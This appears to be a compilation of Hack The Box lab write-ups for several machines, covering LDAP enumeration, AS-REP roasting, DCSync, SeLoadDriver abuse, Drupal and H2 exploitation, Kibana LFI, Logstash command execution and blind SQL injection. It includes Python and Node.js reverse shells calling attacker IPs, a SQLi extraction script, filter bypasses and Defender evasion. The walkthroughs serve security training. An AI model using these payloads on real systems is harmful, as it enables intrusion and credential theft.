With wfuzz, the syntax is wfuzz -c -z file,burp-parameter-names.txt --hh=19
http://10.10.10.69/sync?FUZZ=writeup
Page 5 / 8
Very basic tests quickly reveal that the opt parameter is vulnerable to command injection.
There is a fairly simple filter which seems to return a 403 for strings longer than 2 characters. To
bypass this, the escape character \ can be used to break up strings. For example, w\h\o\a\m\i will
bypass the filter and execute successfully.
The pattern /-/ (with anything in between) also appears to be caught by the filter. By serving a
bash script as index.html, the use of a slash in wget/curl can be avoided and the command
execution can be leveraged to obtain a reverse shell.
Page 6 / 8
The bash script can be easily executed, and a reverse connection is opened.
Page 7 / 8
Privilege Escalation
Escalating privileges if fairly straightforward. Simply running sudo -l exposes a NOPASSWD script
at /home/themiddle/.monit.
Reviewing the script, it appears that the first argument must be cmd, followed by a second
argument which is a Base64-encoded command that will be executed. For example, running the
command sudo /home/themiddle/.monit cmd d2hvYW1p will execute whoami and output root.
Page 8 / 8
Forest
17th March 2020 / Document No D20.100.61
Difficulty: Easy
Classification: Official
Synopsis
Forest in an easy difficulty Windows Domain Controller (DC), for a domain in which Exchange
Server has been installed. The DC is found to allow anonymous LDAP binds, which is used to
enumerate domain objects. The password for a service account with Kerberos pre-authentication
disabled can be cracked to gain a foothold. The service account is found to be a member of the
Account Operators group, which can be used to add users to privileged Exchange groups. The
Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the
NTLM hashes.
Skills Required
Enumeration
Skills Learned
ASREPRoasting
Enumeration with Bloodhound
DCSync Attack
Enumeration
Nmap
LDAP
It's worth checking if the LDAP service allows anonymous binds using the ldapsearch tool.
The -x flag is used to specify anonymous authentication, while the -b flag denotes the basedn to
start from. We were able to query the domain without credentials, which means null bind is
enabled.
The -U flag is used to enumerate all users, i.e. objects with objectCategory set to user . We
find some username and mailbox accounts, which means that exchange is installed in the
domain. Let's enumerate all other objects in the domain using the objectClass=* filter.
The query found 313 unique objects, among which is a service account named svc-alfresco .
Searching for alfresco online brings us to this setup documentation. According to this, the
service needs Kerberos pre-authentication to be disabled. This means that we can request the
encrypted TGT for this user. As the TGT contains material that is encrypted with the user's NTLM
hash, we can subject this to an offline brute force attack, and attempt to get the password for
svc-alfresco .
Foothold
The GetNPUsers.py script from Impacket can be used to request a TGT ticket and dump the
hash.
Let's copy the hash to a file, and attempt to crack it using JtR.
The password for this account is revealed to be s3rvice . As port 5985 is also open, we can check
if this user is allowed to login remotely over WinRM using Evil-WinRM.
There should be JSON files outputted in the folder, which can be uploaded to the bloodhound
GUI. Search for the svc-alfresco user and mark it as owned. Double clicking on the node should
display it's properties on the right. It's found that svc-alfresco is a member of nine groups
through nested membership. Click on 9 to reveal the membership graph.
One of the nested groups is found to be Account Operators , which is a privileged AD group.
According to the documentation, members of the Account Operators group are allowed create
and modify users and add them to non-protected groups. Let's note this and look at the paths to
Domain Admins. Click on Queries and select Shortest Path to High Value targets .
One of the paths shows that the Exchange Windows Permissions group has WriteDacl
privileges on the Domain. The WriteDACL privilege gives a user the ability to add ACLs to an
object. This means that we can add a user to this group and give them DCSync privileges.
Go back to the WinRM shell and add a new user to Exchange Windows Permissions as well as
the Remote Management Users group.
The commands above create a new user named john and add him to the required groups. Next,
download the PowerView script and import it into the current session.
The Bypass-4MSI command is used to evade defender before importing the script. Next, we can
use the Add-ObjectACL with john's credentials, and give him DCSync rights.
The secretsdump script from Impacket can now be run as john, and used to reveal the NTLM
hashes for all domain users.
The obtained Domain Admin hash can be used to login via psexec.
Fuse
26st October 2020 / Document No D20.100.71
Difficulty: Medium
Classification: Official
Synopsis
Fuse is a medium difficulty Windows box made that starts with enumeration of a print job logging
application From this we can harvest usernames and possible passwords for use in a password
spray attack. This successfully identifies that three domain accounts have the same password set,
although their passwords are expired. We can use the Windows API to set a new password. With
valid credentials we can enumerate shared printers, which yields credentials for the printer
service account. This account can be used to establish a WinRM shell on the machine. From this
foothold we can abuse the SeLoadDriver privilege and get a shell as SYSTEM.
Skills Required
Basic Windows Knowledge
Skills Learned
Printer Enumeration
Reset Expired Passwords
SeLoadDriver Privilege Abuse
Password Spraying
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.193 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.193
Nmap reveals that we are looking at a Domain Controller (DC) for the fabricorp.local domain.
Apart from the standard ports exposed by domain controllers, we note that ports 5985 (Windows
Remote Management) and 80 (Internet Information Services) are available. The server version is
Windows Server 2016 and the OS Build is 14393.
http://fuse.fabricorp.local/papercut/logs/html/index.htm
We can add the DC as a name server in /etc/resolv.conf and refresh the web page.
cat /etc/resolv.conf
nameserver 10.10.10.193
<SNIP>
This reveals the PaperCut Print Logger application, which is used for auditing print jobs. The page
contains a list of print jobs grouped by date.
Clicking on the first instance 29 May 2020 reveals the print jobs below. Some interesting
information can be gained from this, such as the company username format (first letter of the
first name followed by the surname), internal hostname format, possible job/role functions, and
the presence of a printer called HP-MFT01 . We can collect 3 usernames from this page ( pmerton ,
tlavel , and bnielson ) and save them to users.txt locally.
The instance of the 30 May 2020 reveals another username sthompson , which we add to our
users.txt file. We also see a Word document with the curious title Fabricorp01 . It's possible that
someone typed a password into a Word document, saved it and printed it off. Upon saving,
Microsoft Word uses the first sentence in a document as the suggested filename.
Let's take our four users and potential password, and perform a password spray using
CrackMapExec.
This doesn't reveal any success cases, although it's worth noting that
STATUS_PASSWORD_MUST_CHANGE is not a failure case. We have the correct password for the
tlavel , bnielson and bhult accounts, although the password for the accounts has expired
and needs to be changed before logging in. It seems that the IT Helpdesk are setting common
passwords for their users.
Foothold
In the absence of RDP (which will prompt the user to change their password), we can use
PowerShell to interact with the Windows NET API module NetApi32, and change the password
programmatically. This article is found upon searching for how a user can change their own
expired password without RDP, and the following code is taken directly from it.
$username = 'bnielson'
$dc = 'fuse.fabricorp.local'
$old = 'Fabricorp01'
$new = 'S0meVeryLongPa5s!'
$code = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username,
string oldpassword, string newpassword);
'@
Note: If we want to change the password than once, we'll have to choose a new one each time
owing to password history enforcement in the domain. The password is reverted every two
minutes.
Disconnect the VPN on the Linux machine and hop over to a Windows machine. On the Windows
machine, connect the VPN, and execute the code above in the Windows PowerShell ISE. We
receive confirmation that the password for bnielson was successfully changed if the last
command returns False .
Still from the Windows machine, we can navigate to the UNC path \\10.10.10.193\ and are
presented with an authentication box as expected. Input the username bnielson with the new
password set.
This reveals the standard domain controller shares below, and also the printer hp-mft01 .
Let's connect to the printer by right-clicking on the object and selecting Connect .
This downloads the printer driver and sets up the local printer object. Open "Printers &
Scanners", right-click on the newly added printer and click "Properties". In corporate settings, the
main printers are often multifunction devices that also perform other functions such as faxing
and scanning. In this case, the "scan to docs" feature requires a password (possibly for the service
account), and this has been added to the printer object to help the users. We should also note
that this password seems generic for service accounts in general.
We can also enumerate printer properties using PowerShell.
Set the password for bnielson again, then disconnect the VPN on the Windows machine and
jump back to Linux. Edit /etc/resolv.conf again, comment out the added name server entry
and re-connect the VPN.
cat /etc/resolv.conf
#nameserver 10.10.10.193
nameserver 8.8.8.8
We can use the bnielson credentials to enumerate domain users with Windapsearch.
Now we can use windapsearch again to enumerate group membership of our compromised
user.
The IT_Accounts group has membership of the Remote Management Users group, which grants
all members of IT_Accounts with permissions to connect to the server remotely using WinRM.
As Nmap revealed that port 5985 was open, we can connect using evil-winrm using svc-
print:$fab@s3Rv1ce$1
Privilege Escalation
The whoami /groups command reveals that we are a member of the Print Operators group.
Membership of this group bestows the SeLoadDriver privilege on its members. The command
whoami /priv reveals that this privilege is already enabled in our logon token. We can get a
better understanding of the SeLoadDriver privilege by reading this post by Microsoft which
describes the vulnerability and impact associated with this privilege:
Device drivers run as highly privileged code. A user who has the Load and unload
device drivers user right could unintentionally install malware that masquerades
as a device driver.
So far we know that we have the ability to load drivers. However, a quick Google search of this
exploitation vector reveals a Tarlogic Security post that shows how a vulnerable driver can be
loaded, which can be leveraged to get RCE. It also mentions that this vector is no longer
exploitable in the latest Windows 10 or Windows 2016 versions.
It also isn't exploitable on Windows Server 2019. However, referring back to our Nmap scan, we
see that the machine is Windows Server 2016, OS Build 14393. Privilege escalation using the
SeLoadDriver privilege is still possible in this build version.
Windows Defender is not enabled on the machine so we don't have to care about any evasion.
pico /usr/share/metasploit-
framework/modules/exploits/windows/local/capcom_sys_exec.rb
Next, comment out the section beginning with check_result , using the multi-line comment tags
=begin and =end . These tags should not be indented.
=begin
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result ==
Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported,
please get an x64 session')
end
if target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is
specified as x86')
end
end
=end
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
exploit -j
Then create a 64-bit Meterpreter reverse TCP payload. The architecture is important because the
vulnerable Capcom driver exploit is only possible in 64-bit sessions.
Next, we need to load the vulnerable Capcom driver, which can be exploited with the above
module. Safe boot is not enabled in the VM BIOS, which allows us to load signed third-party
drivers on the system.
In an attempt to defeat game-cheaters, Capcom attempted to build a Sony-style rootkit into their
driver. However, the implementation was poor and it contained multiple vulnerabilities, including
one that allowed userland code to be executed in the kernel.
We can download and compile eoploaddriver.cpp, and use it to install the vulnerable driver, but
first we need to install Visual Studio then Build Tools for Visual Studio.
After installation we can launch a Visual Studio developer tools console (x86-x64) to compile the
binary using the following command. The /DUNICODE flag will allow for Unicode output and we'll
import the external shell32.lib library specified at the end of the command.
The binary is successfully compiled. Next, download the NirSoft tool DriverView and the
vulnerable Capcom driver. Transfer the three files to the box under C:\test .
wget http://10.10.14.2/eoploaddriver.exe -O C:\test\eoploaddriver.exe
wget http://10.10.14.2/Capcom.sys -O C:\test\Capcom.sys
wget http://10.10.14.2/DriverView.exe -O C:\test\DriverView.exe
This runs and the status code 00000000 is returned, which indicates that the driver was
successfully loaded. We can use DriverView.exe to confirm this.
use exploit/windows/local/capcom_sys_exec
set SESSION 1
LHOST tun0
run
This is successful, and we receive a shell as SYSTEM.
Hawk
25th November 2018 / Document No D18.100.29
Prepared By: egre55
Machine Author: mr_h4sh
Difficulty: Hard
Classification: Official
Page 1 / 21
SYNOPSIS
Hawk is a medium to hard difficulty machine, which provides excellent practice in pentesting
Drupal. The exploitable H2 DBMS installation is also realistic as web-based SQL consoles
(RavenDB etc.) are found in many environments. The OpenSSL decryption challenge increases
the difficulty of this machine.
Page 2 / 21
Enumeration
Nmap
Nmap reveals a vsftpd installation, which allows anonymous authentication, and SSH on the
default port. A Drupal 7 installation running on Apache 2.4.29 is available on port 80, and the H2
database console is available on port 8082, although remote connections are disabled.
Page 3 / 21
FTP / Examination of Interesting File
After base64 decoding the file it can be viewed, although the only discernible text is “Salted__”.
A Google search of this text reveals that the file has been encrypted in OpenSSL salted format.
OpenSSL encrypted files comprise of the 8-byte signature “Salted__”, followed by an 8-byte salt,
followed by encrypted data. http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format
Page 4 / 21
Identification of OpenSSL Cipher
In the Hawk video, IppSec demonstrates a really good methodology for identifying the cipher that
was used, and this process is replicated below.
“wc -c” reveals that the file is 176 bytes, and as this is divisible by 16 is a strong indication that it
was created using a block cipher such as AES.
The idea is to create plaintext files ranging in size between 8 bytes (a possible minimum block
size), and 176 bytes (the ciphertext), in steps of 8. After some likely initial ciphers have been
selected, these ciphers are used to create ciphertexts. Those cipher/size combinations that are
not 176 bytes can be discarded, leaving a smaller number of candidate ciphers. The
script/commands below are available in Appendix A.
The plaintext files and initial ciphers are chosen. The script encrypt.sh encrypts each plaintext file
from 8 to 176 using the selected ciphers. The regex ensures that the produced ciphertexts
(ending with .enc) aren’t used as input.
Page 5 / 21
The script completes, and the ciphertexts have been created. Selecting only those cipher/size
combinations that equal 176 bytes has resulted in a smaller list of possible ciphers.
They are:
● aes-128-cbc
● aes-256-cbc
● aes-256-ecb
● aria-128-cbc
● des
Page 6 / 21
OpenSSL Bruteforce and Recovery of Plaintext
aes-256-cbc is quite common and is chosen. With a cipher selected, the package archive is
queried for openssl brute force tools. The tool, bruteforce-salted-openssl is the first result and is
already installed.
After providing the password file, cipher and ciphertext, the tool is run and almost immediately it
identifies as password candidate of “friends”.
The password is provided and the openssl command below is invoked to recover the plaintext.
Given that the H2 console is not directly accessible, attention can now be turned to the Drupal 7
installation.
Page 7 / 21
Drupal Enumeration
The default Drupal landing page is accessible and displays a login form. More customised
installations (websites etc.) may not have a user login or registration section on the main page,
but this is typically accessible at /user.
There are a number of critical unauthenticated RCE vulnerabilities affecting Drupal 6 and 7. The
“Drupalgeddon” 2 and 3 vulnerabilities were announced in March and April 2018 respectively,
and so it is worth checking the Drupal CHANGELOG.txt, to see if it is vulnerable. This installation
is 7.58, which is patched against these vulnerabilities.
Page 8 / 21
Drupal Module and Theme Enumeration
Is it also worth running a scanner such as droopscan to identify if there are any interesting or
potentially vulnerable themes and modules installed. The “php” module has been identified and
seems interesting.
Page 9 / 21
Drupal User Enumeration
Often, users are made Drupal administrators to facilitate easy content management, and it is
worth identifying these users as they may have weak passwords. In the Hawk video, IppSec
shows a method of user enumeration which may not be detected. When attempting to log in, if
either username or password is incorrect, the typical error message “Sorry, unrecognized
username or password” is displayed. However, by inputting an invalid email address in the user
registration form (e.g. by including a ; character), valid usernames can be enumerated without
creating a mass of dummy accounts.
Page 10 / 21
Exploitation
Once logged in as admin, the available modules are examined and the “PHP filter” module is
enabled.
A webshell is selected and edited with the callback details, before being copied to the clipboard,
and a netcat listener is stood up.
Page 11 / 21
After clicking “Add content” → “Basic page”, and selecting “PHP code” from the “Text format”
dropdown list, the contents of the webshell are added to the Body.
After clicking “Preview”, a connection is received and the commands below are issued to
upgrade the shell.
Page 12 / 21
Post-Exploitation
The Drupal installation can now be examined in further detail. The drush command line utility is
useful for interacting with Drupal, and allows for additional Drupal modules to be installed, among
other powerful features, but it is not present on this installation. The settings.php associated with
the default site is inspected, as this likely contains database credentials.
/var/www/html/sites/default/settings.php
The mysql credentials drupal:drupal4hawk with a database name of “drupal” are visible.
Page 13 / 21
Cracking Drupal Hashes
Typical drupal installations may have multiple user accounts configured. If in scope as part of a
pentest, or as a pre-emptive check by defenders, the Drupal usernames and password hashes
can be dumped, and subjected to an offline brute force attack in order to recover the plaintext
passwords (although in this case the password is not in rockyou.txt).
mysql -u drupal -p
use drupal;select name,pass from users where status=1;
Page 14 / 21
Password Reuse
Password reuse is extremely common and the password drupal4hawk should be tried with other
identified accounts. The same password has been configured for the unprivileged user daniel,
and the user flag can now be obtained.
Page 15 / 21
H2 (DBMS) Enumeration
H2 is an open source database management system written in Java. Curl is used to verify that the
login page is accessible internally.
“ps aux | grep h2” reveals that the version of h2 is 1.4.196, and it is running as root.
Page 16 / 21
Privilege Escalation
A Google search for “h2 database shell” returns a blog post by Matheus Bernandes in which he
outlines his discovery that the H2 Database CREATE ALIAS function can be used to call Java
code.
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
Using the credentials daniel:drupal4hawk, an SSH tunnel is created to allow access to the H2
database console.
Page 17 / 21
netstat confirms that 127.0.0.1:9002 is open and this H2 database console is now accessible.
After inputting a new database name (i.e. aewfadtgf as below), the connection succeeds with a
default username of “sa” and no password, and it is now possible to access the console .
Page 18 / 21
Using Matheus Bernandes’s example, it is confirmed that the database is operating in the context
of root.
The file exec.py is created with the python reverse shell one-liner below, and made executable.
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.c
onnect(("10.10.14.18",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Page 19 / 21
H2 (DBMS) Exploit Scripts
Matheus Bernandes has also created a script to automate the exploitation of H2, which works
well.
Querying searchsploit for “h2 1.4.196”, reveals another H2 exploit script created by h4ckNinja,
based on the Matheus’s exploit. This script also works well.
Page 20 / 21
Appendix A
-aes-256-cbc
-aes-128-cbc
-aes-256-ecb
-aes-128-cbc
-aes-256-ofb
-aes-128-ofb
-rc4
-rc4-cbc
-aria-128-cbc
-des
cipher.lst
for i in $(seq 0 8 176); do python -c "print 'A'*$i" > $i; d
one
create plaintexts
Page 21 / 21
Haystack
20th October 2019 / Document No D19.100.45
Prepared By: MinatoTW
Machine Author: Joydragon
Difficulty: Easy
Classification: Official
Page 1 / 16
SYNOPSIS
Haystack is an Easy difficulty Linux box running the ELK stack ( Elasticsearch, Logstash and
Kibana). The elasticsearch DB is found to contain many entries, among which are base64
encoded credentials, which can be used for SSH. The kibana server running on localhost is found
vulnerable to file inclusion, leading to code execution. The kibana user has access to the
Logstash configuration which is set to execute files as root based on a certain filter.
Page 2 / 16
Enumeration
Nmap
We find SSH open on port 22 along with Nginx servers on port 80 and 9200. Browsing to port 80
we just find an image of a needle.
Page 3 / 16
ElasticSearch
A quick google search reveals that port 9200 is the default port for Elasticsearch. Navigating to
port 9200 in the browser we receive a JSON response with the cluster name as “elasticsearch”.
This hints that the server is indeed running elasticsearch. Data in Elasticsearch is stored in the
form of “indices”. It is similar to a database in any Relational DBMS server. To list all indexes
present in the DB the _cat API can be used.
http://10.10.10.115:9200/_cat/indices?v
As seen above, there are three indexes, quotes, bank and .kibana (default). The _search API can
be used to list the entries present in a DB. For example, to list entries in the quotes DB.
http://10.10.10.115:9200/quotes/_search
Page 4 / 16
By default, the _search API returns just 10 entries. To find out the number of entries present use
the _count API.
We see that there are 253 entries in the quotes index. The size parameter can be used to specify
the number of entries to return.
http://10.10.10.115:9200/quotes/_search?size=253
We can see that the total number of hits returned are 253. To display all the entries we can use
curl. The output would contain JSON data with the quotes, in order to extract only the quotes
we’ll format our output using jq.
Page 5 / 16
Let’s extract the quote from the first entry using jq.
As we can see, the “quote” field is nested within the “hits” array which is in turn nested within the
“hits” object. In order to select a field with jq the “.name” notation can be used.
The command below would extract the “hits” field out of the output above.
Page 6 / 16
Similarly, to extract the next hits array we can issue:
To specify an array the “[]” filter should be used. This will return all elements in the array.
Page 7 / 16
Foothold
The quote is present in the “_source” field. We can now use “._source.quote” filter to access it
directly.
We were able to extract the quote string using the jq filters. Now the size can be set to 253 and
all quotes can be displayed.
All the quotes present in the output are in Spanish. Manually looking through them we’ll find
these two uncommon sentences.
Page 8 / 16
It says the username is security and the password is “spanish.is.key”. Trying to login with the
credentials found above lets us in.
Page 9 / 16
Lateral Movement
The command “ss” is used as netstat isn’t available. The -4 flag is used to specify IPv4, the -l flag
shows only listening ports and the -n flag is used to display port numbers. This shows that a
service is listening on port 5601, which is used by Kibana. This port can be forwarded using SSH.
The command above forwards all connections from 5601 on our box to port 5601 on haystack.
Browsing to port 5601 using the browser shows that it does indeed host a Kibana server.
Page 10 / 16
Kibana is a data visualization UI used with Elasticsearch. It helps in displaying the data from
Elasticsearch in the form of graphs, charts, etc. To find the version, the /api/status API can be
called.
Searching about vulnerabilities in this version we come across CVE-2018-17246. There’s a file
inclusion vulnerability in kibana versions before 6.4.3. A write-up on the exploitation can be found
here. According to it, the /api/console/api_server endpoint is vulnerable to LFI.
First, we need to create a .js file containing a node reverse shell such that it gets executed on
inclusion. Create a file at /tmp/shell.js with the contents:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.10.14.7", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
Page 11 / 16
return /a/; // Prevents the Node.js application form crashing
})();
Then start a listener on port 1234 and use curl to execute the shell.
curl
'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/s
hell.js'
Page 12 / 16
Privilege Escalation
Let’s enumerate the files and folders we have access to as the kibana user.
First we spawn a tty using python and then use the find command to list all files owned by kibana
excluding the files in /usr and /proc. At the end of the output we see a folder “/opt/kibana”. Going
into the folder we find that it’s empty. Now, let’s find the files our group has access to.
We have access to the /etc/logstash/conf.d folder as the user kibana. Logstash is a software
which collects data from various sources and sends it to Elasticsearch for storage. It can collect
data from various logs and services such as databases, system logs, etc.
Looking into the folder, we find three files i.e filter.conf, input.conf and output.conf. Here are the
contents of the input.conf file:
Page 13 / 16
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
Looking at the logstash configuration documentation here, The input section is used to specify
the source to read the data from. In the configuration above, the file path is configured to be
/opt/kibana/logstash_* and the interval is set to 10 seconds. This means that Logstash would read
any files which have names starting with logstash_* every 10 seconds. Next, let’s view the
filter.conf file.
filter {
if [type] == "execute" {
grok {
match => { "message" =>
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
The filter.conf stores the configuration for the filter plugin. Logstash uses the grok filter to match
and filter out data. The grok documentation can be found here. It uses regular expressions along
with it’s own syntax to identify input.
Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}
The \s regular expression is used to denote a space. The asterisk after \s means that there can
Page 14 / 16
be zero or more spaces in the input. The plus symbol after \s means that there can be one or
more spaces. The %{GREEDYDATA:comando} is a grok filter which will select all the data present
after the spaces and assign it to a variable named “comando”. For example, if our input is:
Grok will assign the string “HTB rocks!” to comando, which will be sent to the output filter. Here’s
the output.conf file:
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
It uses the “exec” plugin to execute the command specified by the “comando” variable. So,
logstash will try executing “HTB rocks!”. This can be set to any command which will get executed
within 10 seconds. Let’s try running whoami to see which user we’re running as. Use the following
command to create an input file.
The command above will create a file /opt/kibana/logstash_execute, which on execution writes
the output of the command whoami to /tmp/user. Checking after a few seconds, we see that
we’re running as root.
Page 15 / 16
We can now try writing a shell and get it executed.
The input above would result in execution of a bash reverse shell to port 4444.
Page 16 / 16
Heist
20th November 2019 / Document No D19.100.51
Prepared By: MinatoTW
Machine Author: MinatoTW
Difficulty: Easy
Classification: Official
Page 1 / 11
SYNOPSIS
Heist is an easy difficulty Windows box with an “Issues” portal accessible on the web server, from
which it is possible to gain Cisco password hashes. These hashes are cracked, and subsequently
RID bruteforce and password spraying are used to gain a foothold on the box. The user is found
to be running Firefox. The firefox.exe process can be dumped and searched for the
administrator’s password.
Page 2 / 11
Enumeration
Nmap
We find IIS running on port 80, MSRPC on port 135 and SMB on 445. Additionally, port 5985
(associated with WinRM) is exposed, which may allow remote sessions.
IIS
Page 3 / 11
The post talks about a Cisco router configuration. Clicking on the attachment shows the
configuration.
On searching about Cisco configurations, we find that the hashes are Cisco type 5 and type 7
password hashes. The type 5 hashes can be cracked using an online tool such as this.
Page 4 / 11
The two type 7 hashes were cracked revealed to be $uperP@ssword and Q
4)sJu\Y8qz*A3?d.
Let’s save these and crack the type 5 hash next. This can be cracked using John the Ripper and
rockyou.
The password is revealed to be “stealth1agent”. Enumeration of the “Issues” page revealed the
usernames “Hazard” and “Administrator”. Let’s bruteforce SMB with these passwords using
CrackMapExec (CME).
Page 5 / 11
Foothold
Let’s try logging into WinRM with these using the CME winrm module.
The login failed, which means that the user “hazard” isn’t in the “Remote Management Users”
group. However, possession of valid credentials will still let us enumerate the box. Let’s try
enumerating the users on the box using RID bruteforce. RID stands for Relative Identifier, which is
a part of SID (Security Identifier) used to uniquely identify a user or service on a Windows host.
The Domain or Local Identifier is constant for a given computer, while the RID is unique. So we
can query the box for it’s “Local Computer Identifier”, and bruteforce RID values, which will return
usernames for valid SIDs. The --rid-brute option in CME can do this for us.
Page 6 / 11
CME was able to identify three additional usernames - support, Chase and Jason. Let’s use the
passwords from earlier and check if one of them is valid for the usernames we found.
Authentication was successful with the username Chase and password Q4)sJu\Y8qz*A3?d. The
evil-winrm script can be used to login via WinRM.
Page 7 / 11
Privilege Escalation
According to this Chase will be checking the issues list frequently. Looking at the running
processes, we see that Firefox is active.
Maybe he’s using firefox to login to the Issues portal? As we have control over the process, we
can dump the process and find passwords in it.
Page 8 / 11
The procdump utility can be used to dump process memory. Download and transfer it to the
server.
We need to use the -ma flag to dump the entire memory of the process.
The server will use the credentials guest / guest for authentication.
Page 9 / 11
Now mount the share on the box and copy the file to it.
The page used login_password as the parameter to submit passwords. We can search the dump
for strings like “login_password” to find any requests.
We can see the entire URL string with the username and password parameters.
Page 10 / 11
The password “4dD!5}x/re8]FBuZ” can be used to login as Administrator.
Page 11 / 11
Help
08th May 2019 / Document No D19.100.22
Prepared By: MinatoTW
Machine Author: cymtrick
Difficulty: Easy
Classification: Official
Page 1 / 15
SYNOPSIS
Help is an Easy Linux box which has a GraphQL endpoint which can be enumerated get a set of
credentials for a HelpDesk software. The software is vulnerable to blind SQL injection which can
be exploited to get a password for SSH Login. Alternatively an unauthenticated arbitrary file
upload can be exploited to get RCE. Then the kernel is found to be vulnerable and can be
exploited to get a root shell.
Page 2 / 15
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -sT -T4 10.10.10.121 | grep ^[0-9] | cut
-d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.121
Apache is running on port 80 along with ssh on port 22. A Node.js server is running on port
3000.
Page 3 / 15
APACHE
Navigating to the page directly shows a default Apache installation.
GOBUSTER
Gobuster straight away discovers /support going to which we find a HelpDeskz installation.
Page 4 / 15
A quick google search takes us to the github page of the software. We see that it contains a file
UPGRADING.txt in the root folder. Checking for the file on the box returns the changelog.
The version is found to be 1.0.2. Checking exploit-db for the version returns two vulnerabilities, an
arbitrary file upload and an authenticated SQL injection.
NODE.JS SERVER
From the response headers the server is found to running Express framework.
Page 5 / 15
Googling about “Express js query language” we come across results related to GraphQL.
Next we try to query information. A graphql endpoint takes in objects as input. As we need
information related to a user lets try a user object,
The page asks us to supply subfields, let’s try that with an obvious attribute such as username.
Page 6 / 15
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode
'query={user {username} }' | jq
The server returns a username i.e [email protected]. Now we can try dumping the password
too.
And we get the password. The password is 32 characters long i.e md5. Cracking in on HashKiller
returns the cracked password as “godhelpmeplz”.
Trying the credentials [email protected] / godhelpmeplz on the HelpDesk page lets us in.
Page 7 / 15
FOOTHOLD
Lets upload a ticket and fetch the attachment URL. Navigate to Submit and ticket and upload a
ticket with an image as attachment. Go to VIew Tickets and open the ticket.
Right click on the attachment and copy the link. Request it and intercept in burp. An example
ticket is,
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]
=attachment¶m[]=1¶m[]=6
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]
=attachment¶m[]=1¶m[]=6 and 1=1-- -
Sending this results in a true condition which returns the image but changing it to 1=2 doesn’t
because it evaluates to false. This confirms the SQLi vulnerability.
From the login controller we know the table name i.e staff and the columns username and
password. The password is stored as a SHA1 hash which a 40 characters long.
Page 8 / 15
Lets check if the username is admin.
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]
=attachment¶m[]=1¶m[]=6 and (select (username) from staff limit
0,1) = 'admin'-- -
This query returns the attachment that means it was true. In case the user wasn’t admin, for
example,
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]
=attachment¶m[]=1¶m[]=6 and (select (username) from staff limit
0,1) = 'dummy'-- -
It results in false and the page returns not found. Now we have a username and need to
determine the password. For this the password has to determined character by character upto 40
times. For this we can use the substr function which will loop character by character, example,
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]
=attachment¶m[]=1¶m[]=6 and substr((select password from staff
limit 0,1),1,1) = 'd'-- -
Which returns the attachment and confirms that the hash starts with d.
Page 9 / 15
This can be scripted.
#!/usr/bin/python
from requests import get
import string
cookies = { 'lang' : 'english', 'PHPSESSID' : 'se3q2q1vtvmb71acq5i16ajtf1',
'usrhash' :
'0Nwx5jIdx+P2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqY
H6QdYSl1tVZNcjd4B7yFeh6KDrQQ/iYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yV
LoZ06smnKha9AGF4yL2Ylo%2BHDu89nyBt7elyC8vIIYgpCcpqa%2BUhLVh9kcZWIcDfKPw=='
}
url = 'http://10.10.10.121/support/?v='
chars = list(string.ascii_lowercase) + list(string.digits)
password = []
k = 1
while( k <= 40 ):
for i in chars:
payload = url +
"view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=
6 and substr((select password from staff limit 0,1),{},1) = '{}'--
-".format(k, i)
resp = get( payload, cookies = cookies)
if "404" not in resp.content:
password.append(i)
print "Password: " + ''.join(password)
k = k + 1
break
Copy your cookies from burp into the script, then run it. The script checks the hash character by
character, if a character is found the count is incremented and moved to the next one.
$ python brute.py
Password: d
Password: d3
Password: d31
---------------------- SNIP ----------------------
Password: d318f44739d
Password: d318f44739dc
Password: d318f44739dce
Page 10 / 15
Password: d318f44739dced
Password: d318f44739dced6
Password: d318f44739dced66
---------------------- SNIP ----------------------
